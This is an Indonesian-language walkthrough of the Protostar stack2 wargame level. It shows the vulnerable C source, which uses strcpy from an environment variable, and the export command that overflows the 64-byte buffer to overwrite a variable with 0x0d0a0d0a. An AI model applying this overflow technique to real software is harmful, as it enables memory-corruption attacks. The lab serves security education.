Level ketiga dari protostar, stack2, dapat kita temukan pada directory /opt/protostar/bin. Keterangan lebih lanjut dapat dilihat pada laman resminya disini dan berikut merupakan output dari utilitas file pada berkas stack2.

hasil utilitas file pada stack2

Tidak berbeda dengan stack0 dan stack1. Sekarang mari kita lihat source codenya.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Setelah diperhatikan source code dari stack2 ini tidak jauh berbeda dengan milik stack1. Pembeda diantara keduanya terletak pada nilai modified yang diminta (0x0d0a0d0a) dan pada bagian input user. Pada stack1 input dimasukkan sebagai argumen sedangkan pada stack2 ini input dimasukkan melalui fungsi getenv(). Mari kita lihat dulu apa kegunaan fungsi ini di manual.

man getenv

output : menjalankan man getenv

Berdasarkan manual dari getenv, fungsi ini berguna untuk mencari environment variable dengan nama sama dengan parameter yang diberikan lalu lalu mengembalikann nilai dari environment variable tersebut. Menurut wikipedia, environment variable adalah nilai dinamis dinamai yang mempengaruhi proses berjalan di komputer. Environment variable ini terdapat pada berbagai macam sistem operasi termasuk salah satunya linux, yang menjadi host dari protostar ini. Lanjut membaca pada laman wikipedia untuk menampilkan seluruh environment variable pada os linux dapat menggunakan perintah env. Mari kita lihat apakah variable “GREENIE” sudah ada.

env | grep GREENIE

Saya menyaring output env dengan utilitas grep agar hanya menampilkan baris dengan kata GREENIE.

output : menjalankan env

Variable name GREENIE tidak ada. Masih pada laman wikipedia yang sama, untuk melakukan pembuatan environment variable kita dapat menggunakan perintah export VARIABLE=value. Mari kita coba buat variable GREENIE dengan value berupa input yang kita gunakan sebelumnya di stack1. Namun mengganti ‘dcba’ menjadi yang diminta, 0x0d0a0d0a. Berdasarkan man ascii 0d = \r, 0a = \n dan jangan lupakan bahwa protostar ialah litle endian.

export GREENIE=wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\n\r\n\r
env | grep GREENIE

output : env

Ada yang berbeda, ‘\n’ dan ‘\r’ diubah menjadi karakter ‘n’ dan ‘r’. Hal ini sangat mungkin terjadi karena ‘\n’ dan ‘\r’ termasuk special char yang dalam manual ascii ‘\n’ adalah new line dan ‘\r’ ialah carriage ret. Dengan googling saya dapat menemukan jawabannya pada stackoverflow. Mari kita modifikasi dahulu menjadi seperti berikut.

export GREENIE=wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww$'\n'$'\r'$'\n'$'\r'
env | grep GREENIE

Lalu kita coba jalankan executablenya.

./stack2

output : env

Berhasil!